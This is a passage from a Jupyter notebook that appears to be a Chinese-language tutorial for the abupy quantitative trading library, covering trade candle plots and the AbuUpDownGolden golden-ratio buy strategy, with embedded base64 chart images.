PK/86lP7Z3nnns2m2/+qixe/GI+/vG9c/zxp+Sccy7IlVdekXnzHshWW22TG274\nbZJk7tzfZPHiF5Mkxx13cjbZZJNe+91ggw3S1taWRx99ON/61jdz4IEHZ+HChZk6dWqP2qZk4cKu\n2t71rj36vM/z5j2QhQsXZocd3lqzrr/9XXLJxdlll117jVpa3bRp0zJx4qQ8/fQfc8opx+WQQz43\n6Ntc+dguXLgwU6b0rKNr+fbb75gDDui63309J6tfr6WlJcuXL88nP7lvdt11t37321cNAAAADK/2\njaev+o+1N6pDo47OzrpunyTbbPPajBs3Lhtt9LIsXvznkUq33XZLFix4Ia2trZkyZUpefHHRqnWL\nFi3K1KnT1rjfTTZ5RS6//Mp85CMfzwUXfCMTJ07K3nv/TSZNmpTJk6dk++13yLx5/5FZsw7P3Lm/\nyRFHfD4tLS1Zf/01/wrcHXfclmOO+XKOO+7kbL75FpkyZUoWLVrYo7beoU9frr/+ul7zFF188YWZ\nNWtmZs2amcmTJ/e5v+uv/8dce+3VmTVrZv70p6dzxBGz8vjjj6263rXXXpUkefDBefnCFw7LzJmf\ny5vfvH2/t9lT131Y1H17izJt2rRey3ou73mdvp6T1a/X2dnZK9Trb7991QAAAAAj2agOjbaaOCn3\n9AgG1uSeFxdl64mDn7h4XD+jk84445xMmzY9V111RaZMmZq2tvF54onH09nZmVtuuTHbbffmfvd5\n1FGH57HHHk3SNWqlpaUljz32aA499DNZsWJFli9fnrvvvivbbPPa3HrrTTnggJk599wLMm5cS3bc\ncad+93vHHbflvPPOzjnnXJDXvvb1SZIttnh1Hn/8sTz//HNZtmxZ7rzz93njG7dd432+7bZbV52K\nlSQzZx6W2bMvzuzZF+fVr94yjz/+WJ599tle+/vpT69atc1GG70s5547O5tt9spVyz74wY/koYf+\nM8cdd1ROOOHU7LLL29d4mz3NmLFdbrzxhiTJTTf9Lttu+6a87nVvyN13/z5LlizJggUL8sgjD+XV\nr37Nquv095zMmLFdbrqpa1/33ntPttxyq1631d9++6oBAAAARrJRPRH2ntM3zFlP/deA5jX6xXN/\nytEb/+U6vf0vfvHLOfjg/bL99m/Nl798TE466avp6OjIjjvulDe84Y39Xm/ffffP6aefmLa28Zk0\naVKOOuq4vPzlL88ee7w3hxxyQNra2vLe974/W275mrz44os544yTM2HC+GyxxWvypS8dlaRrTqOD\nDz6s1ylq5513TpYtW5ZTTz0hSbL55q/KkUd+JbNmHZ4jjvh8Ojo68oEPfCjt7Ruv8X796U9P9zui\nqa2tLbNmHZ6DDjooS5cuH9D+VvrOd2Zn6dKlOe+8s5MkU6dOXTUJ9Zpuc7/9Dsqpp56YOXOuzPrr\nb5ATTjgt6623Xvba65P53OcOTkdHR2bOPCwTJ07M7bffmrvvvjMHHHBwn89JR8frc+utN+eznz0w\nnZ2dOfbYrsfq8ssvzWabvTK77rpbn/vtqwYAAAAYycZ1DuGUrEaYP/+FIRV6/QvP5qnly7Pvhi/v\nd5tLn/ljNm5ryx7T1nxqFwPX3j4t8+e/0OgyGKH0T3NZ/Xzw+U89Pzy3qw9YC/qHgdIrrA39w0Dp\nleHT89h1uI5b62k4eqe9fVq/EzyP6tPTkmSPaRukva0tJz35eM2pave8uCgnPfl42gVGAAAAAL2M\n6tPTVnrPtA2y+5TpmfP8M7n2+WfSMm5cOjo7s/XESTl647/MxJZRn50BAAAADMqYCI2SZGJLS/ba\n4GWNLgMAAABgRDDEBgAAAIAaQiMAAAAAagiNAAAAAKhRtzmNSinjk1ySZIskE5OcWlXVNT3W75nk\n+CTLk1xSVdV361ULAAAAAINTz5FG+yZ5uqqqdyR5X5LZK1d0B0rfSLJHkt2SzCylbFLHWgAAAAAY\nhHqGRj9LclyPy8t7/P26JPOqqnqmqqqlSeYmeUcdawEAAABgEOp2elpVVQuSpJQyLckVSb7aY/X0\nJM/1uPxCkvXXtL8NN5yctrbWdV0mddTePq3RJTCC6Z/mNZzPjT5gbegfBkqvsDb0DwOlV4bfaHnM\nG3k/6hYaJUkp5ZVJrkxyYVVVf9dj1fNJet7raUmeXdO+nnlm0bovkLppb5+W+fNfaHQZjFD6p7m0\nr3Z5uJ4bfcDa0D8MlF5hbegfBkqvDJ+ex66j4TEfjt5ZUyhVz4mw/yLJ9UlmVVX1z6ut/kOSrUsp\nGyVZkOSdSc6uVy0AAAAADE49Rxodm2TDJMeVUlbObfTdJFOqqrq4lHJEkl+ma16lS6qqeqKOtQAA\nAAAwCPWc0+gLSb6whvVzksyp1+0DAAAAMHT1/PU0AAAAAEYooREAAAAANYRGAAAAANQQGgEAAABQ\nQ2gEAAAAQA2hEQAAAAA1hEYAAAAA1BAaAQAAAFBDaAQAAABADaERAAAAADWERgAAAADUEBoBAAAA\nUENoBAAAAEANoREAAAAANYRGAAAAANQQGgEAAABQQ2gEAAAAQI22RhcAAAAA0CjtG0/vdXn+U883\nqJLmY6QRAAAAADWERgAAAADUEBoBAAAAUENoBAAAAEANoREAAAAANYRGAAAAANQQGgEAAABQQ2gE\nAAAAQA2hEQAAAAA1hEYAAAAA1BAaAQAAAFBDaAQAAABADaERAAAAADWERgAAAADUEBoBAAAAUENo\nBAAAAEANoREAAAAANYRGAAAAANQQGgEAAABQQ2gEAAAAQA2hEQAAAAA1hEYAAAAA1BAaAQAAAFBD\naAQAAABADaERAAAAADWERgAAAADUEBoBAAAAUENoBAAAAEANoREAAAAANYRGAAAAANRoa3QBAAAA\nAIPVvvH0XpfnP/V8gyoZvYw0AgAAAKCG0AgAAACAGkIjAAAAAGoIjQAAAACoITQCAAAAoIbQCAAA\nAIAaQiMAAAAAarTVc+ellJ2SfK2qqt1XW35EkoOSzO9edEhVVVU9awEAAABg4OoWGpVSjkzyqSQL\n+1j9liSfrqrq9nrdPgAAAABDV8/T0x5M8rF+1m2f5JhSytxSyjF1rAEAAACAIRjX2dlZt52XUrZI\ncnlVVTuvtvyEJN9K8nySK5NcVFXVtWva1/LlKzrb2lrrVSoA/Rk3rvflOr5vAADAgPV1nNpz2UCP\nWx3vjutvRV3nNOpLKWVckm9WVfVc9+V/SPLmJGsMjZ55ZtEwVMe60t4+LfPnv9DoMhih9E9zaV/t\n8nA9N/qAtaF/GCi9wtrQPwyUXqmPvo5T21e7PNT9NIvh6J329mn9rhv20CjJ9CT3llJel675jv46\nySUNqAMAAACAfgxbaFRK2SfJ1KqqLi6lHJvk10mWJPnnqqquG646AAAAAHhpdQ2Nqqp6OMnO3X//\nXY/lP0nyk3reNgAAAABDV89fTwMAAABghBIaAQAAAFBDaAQAAABADaERAAAAADWERgAAAADUEBoB\nAAAAUENoBAAAAEANoREAAAAANYRGAAAAANQQGgEAAABQQ2gEAAAAQA2hEQAAAAA1hEYAAAAA1BAa\nAQAAAFBDaAQAAABADaERAAAAADWERgAAAADUEBoBAAAAUKOt0QUA0DgbXzi91+WnDnu+QZUAAADN\nxkgjAAAAAGoIjQAAAACoITQCAAAAoIbQCAAAAIAaAw6NSikb1rMQAAAAAJrHS/56WinlTUkuTzK5\nlLJLkt8k2buqqjvqXRwAAAAAjTGQkUbnJ/lokqerqnoiyaFJvl3XqgAAAABoqIGERpOrqvrDygtV\nVf1Tkon1KwkAAACARhtIaPSnUsp2STqTpJTyf5L8qa5VAQAAANBQLzmnUbpOR/tRkjeUUp5N8kCS\nfetaFQAAAAAN9ZKhUVVVDybZtZQyJUlrVVXP178sAAAAABppIL+e9o4kX0yyYfflJElVVX9d18oA\nAAAAaJiBnJ72wyQnJXmkvqUAAAAA0CwGEho9UVXVj+teCQBAt40vnN7r8lOHOTseAGC4DSQ0Or+U\ncmmSf0myfOVCQRLAute+ce8PyvOf8kEZAABojIGERgcmmZTkHT2WdSYRGgEAAACMUgMJjTapquot\nda8EAAAAgKbRMoBtbi6lfLCU0lr3agAAAABoCgMZafSRJIckSSll5bLOqqqESAAAAACj1EuGRlVV\nvWI4CqH59JyQ12S8AIwlfr0NAGAAoVEp5fi+lldVdfK6LwcAAACAZjCQOY3G9fhvQpIPJfmLehYF\nAAAAQGMN5PS0k3peLqWckuT6ulUEAAAAQMMNZCLs1U1Nsvm6LgSA+uo5T1lirjIAAGDNBjKn0UNJ\nOrsvtiTZMMnX61kUAAAAAI01kJFGu/f4uzPJs1VV+Xp6DDJKAQAAAMaOfkOjUsqn17AuVVX9uD4l\nAQAAANBoaxpp9FdrWNeZRGgEAAAAMEr1GxpVVXXAyr9LKeOTlO7t762qavkw1AYAAABAg7S81Aal\nlO2TPJDkR0l+kOTRUspO9S4MAAAAgMYZyETY5yf5RFVVNydJKWXnJBckeWs9CwMAAACgcV5ypFGS\nqSsDoySpquqmJJPqVxIAAAAAjTaQ0OhPpZQPr7xQSvlIkqfrVxIAAAAAjTaQ09OOSnJBKeX73Zf/\nM8mn6lcSAAAAAI02kNDownSdjvaNJD+uquqx+pYEAAAAQKO9ZGhUVdUOpZStkvxNkn8opTyd5CdV\nVV1S9+oAAAB4SRtfOL3X5acOe75BlQCjyUDmNEpVVfOSnJvkzCTTkxxTz6IAAAAAaKyXHGlUSvlo\nkn2S7JxkTpLPV1X1u4HsvJSyU5KvVVW1+2rL90xyfJLlSS6pquq7g6wbAAAAgDoayJxG+yb5SZJ9\nqqpaNtAdl1KOTNeE2QtXWz4+XfMj7di97oZSypyqqp4ccNUAAAAA1NVA5jT6+BD3/WCSj6UrcOrp\ndUnmVVX1TJKUUuYmeUeSnw3xdgAAAABYxwYy0mhIqqr6eSlliz5WTU/yXI/LLyRZ/6X2t+GGk9PW\n1rqOqmOw2tunDWjZYNbDmuifLvV8HIby73qg26wr+oCVhtIL67J/9OLo5vllbTRr/zRrXWOZ56T+\nVn+Mh/qYN9tz1ch66hYarcHzSXre42lJnn2pKz3zzKK6FUTf2nv8PX/+C70ur1zW73Xbp61xPazJ\nWO6fwfw7q8e++1pWz5rWZCz3AbUG2wvrun/04ujltYa10cz906x1jVXN3CsjWV/Hqat/jh3qfprF\ncPTOmkKpRoRGf0iydSlloyQLkrwzydkNqAMAAACAfgxbaFRK2SfJ1KqqLi6lHJHkl0la0vXrZx0d\nMgAAFRxJREFUaU8MVx0AAAAAvLS6hkZVVT2cZOfuv/+ux/I5SebU87YBAAAAGLqWRhcAAAAAQPMR\nGgEAAABQQ2gEAAAAQA2hEQAAAAA1hEYAAAAA1Kjrr6cBAOtG+8bTV/09/6nnG1gJAABjhZFGAAAA\nANQQGgEAAABQQ2gEAAAAQA2hEQAAAAA1hEYAAAAA1BAaAQAAAFBDaAQAAABADaERAAAAADWERgAA\nAADUEBoBAAAAUENoBAAAAEANoREAAAAANdoaXQAAI8/GF07vdfmpw55vUCUAAEC9GGkEAAAAQA2h\nEQAAAAA1hEYAAAAA1BAaAQAAAFBDaAQAAABADb+eBgAAANCDXwvuIjQCaHLesAAAgEZwehoAAAAA\nNYRGAAAAANQQGgEAAABQw5xGAMOkfePecxPNf8rcRAAAQPMSGgEw4gjgAAAYbj2PQcfK8afT0wAA\nAACoITQCAAAAoIbT0wBgjNv4wt6n+z112NgYbg0AwJoZaQQAAABADSONAAbJJMzQGD1HRBkNBQBQ\nf0IjAACAJjYWf7EJaA5OTwMAAACghpFGTcqkpADAcHL6HwCwOiONAAAAAKhhpBFJTOwLAADQLMxj\nRbMQGgGsgUAVAAAYq4RGDeBDKAAAANDshEZNwvBDAABW5xgRgEYSGgEAwFrwy3MAjFZCIwAAmpJT\n+qFvPYPKRFgJ1I/QCICm51t8AIDGWj3IX51gf3QSGgHACORbZgAA6k1oBEBDGUUEAADNSWgEANCE\nzOcDADSa0AgAAGCMMuIXWJOWRhcAAAAAQPMx0ggAGBKTcQMAjG5CI4Aees4hYv4QhkOzzlvj3wIA\nAEIjAHoRFlBv5s8AABgZhEYAAAAMii8AYGyoW2hUSmlJcmGS7ZIsSfKZqqrm9Vh/fpK3J3mhe9GH\nq6p6rl71AAAAADBw9Rxp9JEkk6qq2qWUsnOSc5J8uMf6tyR5T1VVf6xjDQAAwAhhgn2A5tJSx33v\nmuT/JUlVVTcl2WHliu5RSFsnubiUckMp5cA61gEAAADAINVzpNH0JD1PN1tRSmmrqmp5kilJLkhy\nbpLWJL8updxWVdXd/e1sww0np62ttY7lNk57+7Q1Xu5vWT2ti5qGu2ZGl2bon4H2/VBrbW+flnEn\njVt1ufOEzrre3lD2Xe/HoNluvxkM5L7U+zEYyPMwkOuty+sMpaZ6PiaNMJw1NMP97Uu96hopvdKs\nz0s9jYT73Ojj9MEsG8q+63m9sWa0P77NUOdQj2Feaj/rct9D0cjHtp6h0fNJet6zlu7AKEkWJTmv\nqqpFSVJK+Zd0zX3Ub2j0zDOL6lXnsGtf7fL8+S/0WjZ//gtZXV/Lhrumvrbpd3/t0+peM6NXI/tn\nIH0/mH8L/e27r+sNdN9DfWwGuu+h/NtfV89Xz/301wdr8xw0o4Hel+F8nxjI+1J/1xvKbQ1lu5e6\n3rp+HWlEjzWyz5vl39RwPAbN3itD+bc4mjT7fR6uY5ahvAfU8zV5XV1vLBlsrzTjv/3VX5NX1yzv\nlUN57IZ6nDwchuN1Zk2hVD1DoxuS7Jnk/3bPaXRPj3XbJLm8lPKWdJ0it2uSH9WxFgCagLkq6Ev7\nxr37Yv5TzdkXI6XOdWWs3V8AoFY9Q6Mrk7y7lPK7JOOSHFBKOSLJvKqqrimlXJbkpiTLkvy4qqr7\n6lgLAAAAAINQt9CoqqqOJJ9dbfH9PdafleSset0+AAAANDsjO2lm9fz1NAAAAABGqHqengYAADDq\nGSkCjFZCIwAAAKBh/FhK83J6GgAAAAA1jDQCgNX0PM1gtJ1i4BQKAAAGSmgEAMCIJQgFgPoRGgEj\nTs9znp3vDAyWkIFmpTfHHvO4AM1OaAQAL8FBPQAwlgixWUloBEBT6XmQ0h4HKc3CwSMAwNjj19MA\nAAAAqGGkEU3BqR8wOOZ1AgCaiRGpMDoJjQAAaLiBfOBshi+ZmqGGdWU03RcA6kNoBGOEkSkAI1/P\nYMW3+Ix0IyW0Gil1AtSD0AgAhsCHCBIhDgB/5hQ9RiMTYQMAAABQw0gjAAAYIYxkAGA4CY2AMcuB\nN43gdCbo0oxz7TVjTQDDwesf/REaAWOC+Wdg9BH8AgDUl9CIMUFyDkAz8b7EuiRAZSzS96Of98rm\nIDQCAGBAfEiDLqP5w6x/50BPQqMRxOk1AADAWCPIItEHjSI0AmDMEL7TrBwIAwDNSGgEAAAMWKND\nzkbfPsBYIjRiTHKwAQAAAGsmNAIAYMhG84TAADDWCY0AAACgifV1psRLLXM2BeuC0Ajol9P4AGBs\nGWsfOB3rsDbG2r8XxiahEQ2x+ht0TmxIGQAANDkfzGHkEMSOPkIjRpR6HjR4gQMAgFqOkz0GjF1C\nIwAAGGY+gELzMJoN+ic0gmHQ85dlEr8uAwCMDI5hAMY2oREANBkf0gAAaAZCI5qWYdtjT8/nvD2e\ncwCA0c4xPzQ3oREAY5qDVYCRz2s565IRv/BnQiMAAIAmIQADmonQCJqEA4S++aYHAACgMYRGAAAA\njHg9v2z0RSOsG0IjAAAAmsbqI/CBxhEaQYP4JgQAAIBmJjQCAACGzPyDAKOX0AjGqL4m3l79oK9z\nOAsCAACgqbQ0ugAAAAAAmo+RRjDCmAsJAACA4SA0AgbFvAUAAABjg9AImpiABgAAgEYxpxEAAAAA\nNYRGAAAAANQQGgEAAABQQ2gEAAAAQA2hEQAAAAA1hEYAAAAA1BAaAQAAAFBDaAQAAABAjbZGFwAA\nQHNZvDi5NP8n9+e1ac2KrEhr/vJnbTkwEzMpSxpT0/jxyca7JZM3Tzo7knEt+dmzT+fA8eMzadmy\nhtQEAKOd0AgAgD+rPpizzpqQg3Jv9s1lqxb/y2sPzwk5KbtmbvbMtcNa0pxddsncGTOShf+cPPWr\nVctf+1en54QDDsiu99yTPW+8cVhrAoCxwOlpAAB0qT6YLPiLHH/80rwpd/VaNWNGR76Wo/M/+YvM\nyQeHraQ5u+yS/9lww3zt4ouThQ/2rmm9yfnaxRfnfzbcMHN22WXYagKAsaJuoVEppaWU8u1Syo2l\nlH8tpWy12vqDSym3lVJuKqUM35EHAAC1lk1MHt012f77a9zsM/l+/i3vyJJMqHtJi8ePz9wZM/KZ\n665bc03XXZd/23bbLBk/vu41AcBYUs+RRh9JMqmqql2SHJ3knJUrSimbJPn/krw9yXuSnFFKmVjH\nWgAAWJN/3yt5498PaNN98ne5InvVuaDkit12y9/88z8PaNt9fvWrXLHbbnWuCADGlnqGRrsm+X9J\nUlXVTUl26LHurUluqKpqSVVVzyWZl2TbOtYCAMCa/PG1ySvueuntkrwpd+UPeV2dC0ru33zzvOnB\nB196wyRvevDB/GHzzetcEQCMLeM6OzvrsuNSyveS/Lyqqn/svvxoki2rqlpeStk3yYyqqo7qXvfj\nJD+uqupX/e8RAIB6GTcuJ3V25oR6bT+kmv71X0/q3H33gdc0yO0BgDWr50ij55NM63lbVVUt72fd\ntCTP1rEWAADWYLABUL0DoyQZbAAkMAKAdaueodENSd6fJKWUnZPc02PdLUneUUqZVEpZP8nrktxb\nx1oAAAAAGIR6np7WkuTCdM1VNC7JAekKkeZVVXVNKeXgJDPTFVydXlXVz+tSCAAAAACDVrfQCAAA\nAICRq56npwEAAAAwQgmNAAAAAKghNAIAAACghtCIplFKGdfoGhh5SinjSimtK/9udD00nj5gMHq+\nhsBLKaWML6Vs3ug6GHlKKS2llCndf3ufol/drzPvbHQdjHzr6rVGaERDlVJeX0q5MEmqqjIrO4NS\nSpmZ5O+THF9KGa+HxqZSymdLKeeXUj6deC1hYLrDoi2TXJVkRqProfl1v8b8a5IPNLgURphSymFJ\nrk7yxcT7FP0rpXwkyZ1JLmp0LYw8pZRDSimz1/UxsdCIYbda4vn6JDNLKe/oXqcnWaOVPVJK+VKS\ndyc5Lsnbkny1e7lv78aAHn0wK8keSS5NcmAp5eDu5fqAPnWHReO6D6QmJdk2yTtLKe0NLo0m1D06\nZGIp5VtJdk/y/qqqLlr5GuO1hv706JE9k+ySZJ8k/11KeVnP9ZAkpZTNSylXJdkryXeT/Kh7eVtD\nC6Ppdb9PtZRSjkry3iSXJ/lM9zHyOnmt8QGdYVVKmdbj71ck2S1dSfpFSVJVVUeDSmME6O6flS98\nWya5uqqqB5KcmWTzHh8EGcV6vo6kK3i+uqqqW5Jcm2SFUWf0Z2Xv9OiPbZLclKQk2aSUMrFRtdF8\nevTLkiRLkzybZP9Syj8muaqUUrzW0JfVjlfekuThJAcm+WiSb5RSttA7JL2OacYn+UZVVfsmuSXJ\nu5KkqqrljaqN5rfytab7M/QmSX5TVdXcJD9LsrCU0rouXmuERgybUspXk/zfJKeWUt5SVdV/J/nH\nqqo+n+SP3SNHjDaiTz3656RSyq5Jvp1kTvfqtyW5xwHY6NejD04ppeyU5GtJftJ97v+R6RoJcLE5\nalhdH72TJFsk+XKSeel6TTm9lDKpMRXSTHr0y+mllNel68uJjydZv6qq96Xr9JHDSilTG1gmTWj1\n490ktydZP8nkqqr2TPJfSY7wWkN3r/yslHJykpdVVfWb7lUTktzQvY3PRfSpx2vNyaWUHZNcluSD\npZSLknw9XZ+PLloXPaQJGRallN2SbJ/kgCT/neSgUsrbq6q6rnuTLyb5fCllSlVVHYbs0tNq/fM/\nST6RrjfX57oP2P86yT91b/uXDSuUulqtD55M8qkkW3Z/u3J/klJV1aeT7JiuU44gSZ+9s18p5W1J\nXkhyVJL3Jdkgyd1VVS1uWKE0hdX65fEkn0/XqMZDk/w0SaqqOiFd7z3ec1ilj+PdfZLsnK4+2SBJ\nqqo6Ol2nVb+qQWXSBHr0yv5Jnkry6VLKu7pXt6TrfclZGPSpj+Oa/ZOsSHJ2ktcm2biqqoOT7JSu\n4+K1IjSiLvoIfXZI8m9VVT2ZrkT09nQdtLckSVVVdyb5XZIfdl82YmQMe4n++WmS3yfZp/s87w3S\n9Y1vSynl5+n65tcok1FgAH1wR5K/6V7Xmq5T0zZJcl+ShcNWKE1nAO9BtyY5OMk7k0xJ8v8lOSPJ\nLqWUVw9nrTTeAPvlb5Jcn2RpKWWz7jmwfp+uU9YYowbQO3cmeWWSuUleXkrZsft96t4kAuoxZAC9\nckeST5RSWqqq+pckj3VPim3+KwZ6TPzZdI1q/K8kbd1TwczLOnitERqxzpVSNkiycpK/lR/e70jX\nN3SpquqpdM0hsTBd376sNDPJFcNXKc1oEP2zKF3zkeyc5AtJTkvy86qqvlpV1Yrhrpt1axB9sKCU\n8v4kH0rXQdf/TfIPVVX9x7AXTVMYYO/clq45Rq6vquqgqqruT/LzJJdWVfXQsBdNwwywX25OsiBd\no0M+ka5TAK5K8k/d6xmDBtA7/5Ou0OjxdH1wuyldP94xJ13vU48Md800xiA/G+3SvX5ukm3N18kg\n+md+ko3S9brzvXSFSddUVXXX2tYgNGKdKqUcmK5G/VCPZS1VVf06yb2llFO7F9+frm93X+jeprWq\nqgVVVf10uGumeQyhf1qSdCQ5NslHqqr6u2EumToYQh88VlXVd5J8JclfV1X14+GumeYwiN759ySb\nJrm7e5sJVVW92D15JGPEEF9rzkxyWJJ3VlX1k+GumeYwiN75Q5L2JI9UVfXddH3I27mqqh8Md800\nxiBfZ6Ymeb778jVJThUYjW2D7J/2dI0++nq65uH766qqfrQu6vATfqwTpZTdk/xtkseSPJeub+Wy\ncsRHKeX1Sc5L8v1Syq/T1Xtbdf9/1XaMTUPsn62TdFRV9YtG1My6txZ9MKF7u9uHv2qawVq8B7V2\nb7d0+KumUdbBa819w181zWAtXmvGd2/3xPBXTSMMsVdekz/3ysPDXjRNYy3epyZ2b3fLuqxHaMS6\n8pYk51RV9S+llGOTvCLJfd3D6c5M8oYk707ypXSdTvRXSU6pqur3jSqYpjKU/jmpqqp/b1TB1MVQ\nX0eERQy1d+5sVME0lNcahmqovXNHowqmYfQKa6Op3qfGdXYa8cbgrDy3tpTy2SQvVlX1o+5hch2l\nlAlJrk1ydFVVd5RStkryqqqq/rmxVdMs9A+JPmDo9A6DoV8YKr3DQOkV1sZI6B9zGjFoPc6tfVeS\nI3s09cTuIf43JHl/97bzVjZ18YtWRP/QRR8wVHqHwdAvDJXeYaD0CmtjJPSP0IgBK10/Ebry73cm\n+WO6fhHim92Ll3f///4kz5VSJve8vnmLxjb9Q6IPGDq9w2DoF4ZK7zBQeoW1MZL6x+lpvKRSymZJ\nTkyycbp+JvQfkyxN10//PZKunxF9e9X9M8WllPclOSTJwVVVzW9EzTQP/UOiDxg6vcNg6BeGSu8w\nUHqFtTES+8dIIwZi/yT/leQL6ZqE66gki6qq+kNVVYuSfD/JN1ZuXFXVPyb5vhdFuu0f/YM+YOj2\nj95h4PaPfmFo9o/eYWD2j15h6PbPCOsfI43oUynlgCS7J3kwyavTNRv7f3ZPvjUzyRNVVZ3XY/s/\nJflUVVX/0Ih6aS76h0QfMHR6h8HQLwyV3mGg9AprY6T3j5FG1CilnJnkfUnOS7Jdkv3SNSQu6TrP\n8ldJXlVK2ajH1T6Z5KHhrJPmpH9I9AFDp3cYDP3CUOkdBkqvsDZGQ/8IjejL+kkurqrqjiSzk3wr\nyT6llDdVVbU4yVNJJiVZUEoZlyRVVV1fVdW/N6ximon+IdEHDJ3eYTD0C0OldxgovcLaGPH909bo\nAmgupZSWJL9IcnP3ok8kuSbJPUnOK6UcnOR/pWuirtbunwGEJPqHLvqAodI7DIZ+Yaj0DgOlV1gb\no6V/zGlEv0op09M1XO5DVVU9WUr5SpKNkvxFki9XVfVkQwukqekfEn3A0OkdBkO/MFR6h4HSK6yN\nkdw/RhqxJpumq7HXL6Wcn+TeJEdXVbWssWUxQugfEn3A0OkdBkO/MFR6h4HSK6yNEds/QiPW5J1J\njk7yliQ/qarqsgbXw8iif0j0AUOndxgM/cJQ6R0GSq+wNkZs/wiNWJOlSb6a5OxmPb+SpqZ/SPQB\nQ6d3GAz9wlDpHQZKr7A2Rmz/CI1Ykx9WVWXSK4ZK/5DoA4ZO7zAY+oWh0jsMlF5hbYzY/jERNgAA\nAAA1WhpdAAAAAADNR2gEAAAAQA2hEQAAAAA1hEYAAAAA1BAaAQAAAFBDaAQAAABAjf8f73ah2Uib\nHY4AAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c21bbd240>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "ABuMarketDrawing.plot_candle_from_order(abu_result_tuple_hk.orders_pd.tail(3))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "可自行尝试切换abu_result_tuple_cn或者abu_result_tuple_us查看A股，美股的具体交易买卖行为，从买入点分析可以发现大多数买入点可以归结为如下图所示类型，基本上属于上升趋势线破位点：\n", "\n", "\n", "\n", "归结原因是因为最终的决策信号是通过**今天收盘价为最近xd天内最低价格**, 即一个向下突破做为买入信号，并不能说这个信号本身是不对的，只能说这个信号对于整体策略系统和之后的期望走势是不匹配的，比如策略具体的期望可以是：长线上涨中寻找短线下跌，且有反弹迹象：\n", "\n", "\n", "\n", "\n", "具体的策略上可以使用多种方式实现，比如最终的信号发生使用均线上扬或者黄金分割反弹迹象。\n", "\n", "abupy内置的AbuUpDownGolden策略使用黄金分割反弹迹象做为最终的信号发生，描述为：\n", "\n", "1. 寻找长线上涨的股票，比如一个季度(4个月)整体趋势为上涨趋势\n", "2. 短线走势下跌的股票，比如一个月整体趋势为下跌趋势\n", "3. 昨天收盘价在0.382下，今天收盘价格在0.382上作为策略最终买入信号\n", "\n", "关键策略代码如下，更多请阅读AbuUpDownGolden类源代码：\n", "\n", " def fit_day(self, today):\n", " \"\"\"\n", " 长线周期选择目标为上升趋势的目标，短线寻找近期走势为向下趋势的目标进行买入，期望是持续之前长相的趋势\n", " 1. 通过past_today_kl获取长周期的金融时间序列，通过AbuTLine中的is_up_trend判断\n", " 长周期是否属于上涨趋势，\n", " 2. 昨天收盘价在0.382下，今天收盘价格在0.382上，且短线xd天的价格走势为下跌趋势\n", " 3. 满足1，2发出买入信号\n", " :param today: 当前驱动的交易日金融时间序列数据\n", " \"\"\"\n", " long_kl = self.past_today_kl(today, self.past_factor * self.xd)\n", " tl_long = AbuTLine(long_kl.close, 'long')\n", " # 判断长周期是否属于上涨趋势\n", " if tl_long.is_up_trend(up_deg_threshold=self.up_deg_threshold, show=False):\n", " # calc_golden计算黄金分割+关键点位值\n", " golden = calc_golden(self.xd_kl, show=False)\n", " if today.pre_close < golden.below382 < today.close and AbuTLine(\n", " self.xd_kl.close, 'short').is_down_trend(down_deg_threshold=-self.up_deg_threshold,\n", " show=False):\n", " # 昨天收盘价在0.382下，今天收盘价格在0.382上，且短线xd天的价格走势为下跌趋势\n", " return self.buy_tomorrow()\n", "\n", "上面策略代码中实现主要通过calc_golden计算了价格趋势的各个关键点位值，包括黄金分割带的值，如下示例计算了tsla一段时间的价格走势分割位：" ] }, { "cell_type": "code", "execution_count": 48, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAABGMAAAIcCAYAAABSCWMqAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XmcXHWV9/FPdfW+ZunurECAwEkCIQiyyhIEkc1HRscR\nwUGYEUF0BBUe3FEWZRQUeZQ4ggwyyIBsKiiCCJEtJOwkIfklBALZe0nv3VXVVV3PH/dWdXWnt+qu\n3r/v14tXV93ld2/1DbeqT53fOYF4PI6IiIiIiIiIiIyMrNE+ARERERERERGRyUTBGBERERERERGR\nEaRgjIiIiIiIiIjICFIwRkRERERERERkBCkYIyIiIiIiIiIyghSMEREREREREREZQQrGiIiIDJGZ\nLTWzNYPY7/NmdulwnNNIMLN5Ztbcy7pfmNn3R/iURERERMYFBWNERERGz3FA4WifhIiIiIiMrOzR\nPgEREZEJotjMHgDmA/XAF5xzG8wsF/hP4EQgCLwGfAU4Gfg/wEfMLA/4JjDDOddiZv8FLHDOnQhg\nZhv9bRuBXwB7AznAvc65H/rbHOsfpwiIAT9wzj1qZhcA/wR0AAcArcDnnHPrUk/ezILAT/zjNAAr\ngUXOuaVmNhdYBswDAsBvnXM/6bZ/KXA7sATYAUSB5/x1c3o6bzObB/wd+AtwFDAV+L/OuYfT/u2L\niIiIjCPKjBEREcmMvYCfOucOBe4B/sdf/g28wMThzrklwHbgBj/g8CfgZ86564FVwEn+PksBM7Ni\nM1sEtPvBk/8B7nDOHQ4cCZxiZv9iZlOB/wb+1Tl3GPBxYJmZ7e2PdyLwH865g/GCLN/o4fw/DxwO\nHAwcA+yfsu53wNPOucXAh4DPmtk53fb/AdAGLAA+BVjKuh7P21+3H/C4c+5I/7xu7umXKyIiIjKR\nKDNGREQkM950zr3gP74TLxhSBpwFTMHLgAHIBap62P9h4HQz2wRsA9bgBVEOAR40syL/+TQzu9bf\npxg4FGgGZgF/8I8BEPf3BXjFObfVf/wq8Ikejn8GcJdzLgTgZ+d8xT/uh4BTAZxzDWZ2J3A68GLK\n/qcAlzvn4kC1mT3sj9PXea8C2vEyYxLnNq2HcxMRERGZUBSMERERyYxYt+dxvEBDELjMOfcYgJkV\nA/k97P8w8AywAfgbUIcXADkSuMQfJwAc65xr9ccqB0J4GTXrnHNHJQYzs9lANXAeXsZK6nkFejh+\ntNvyxOvJ6mH7LLzpRt2lbhf1f/Z13uVAxDnX0c+5iYiIiEwomqYkIiKSGUvM7FD/8cXAc37w4XHg\ny2aWa2ZZwG3Aj/ztovhBDT9zpQYv8PKEv98ngenOuTecc414mShfAzCzKcDzeFOSXgQOMLMT/HWH\nAhuBOWmc/5/xph/lmVk2cAEQd841+eN/yR+7DDgfL2CU6jHg380sy5829XH/dfV13iIiIiKTkoIx\nIiIimbEOuNrM3sArgvs5f/m1wGa8wr1v4WV+fN1f9xhwiZl903/+MFABvOacexcvoyW1mO25wNFm\nthqv9sv/Oud+55yrxgvc/MQ//v/g1Y/ZnMb53+mP+RrwAhD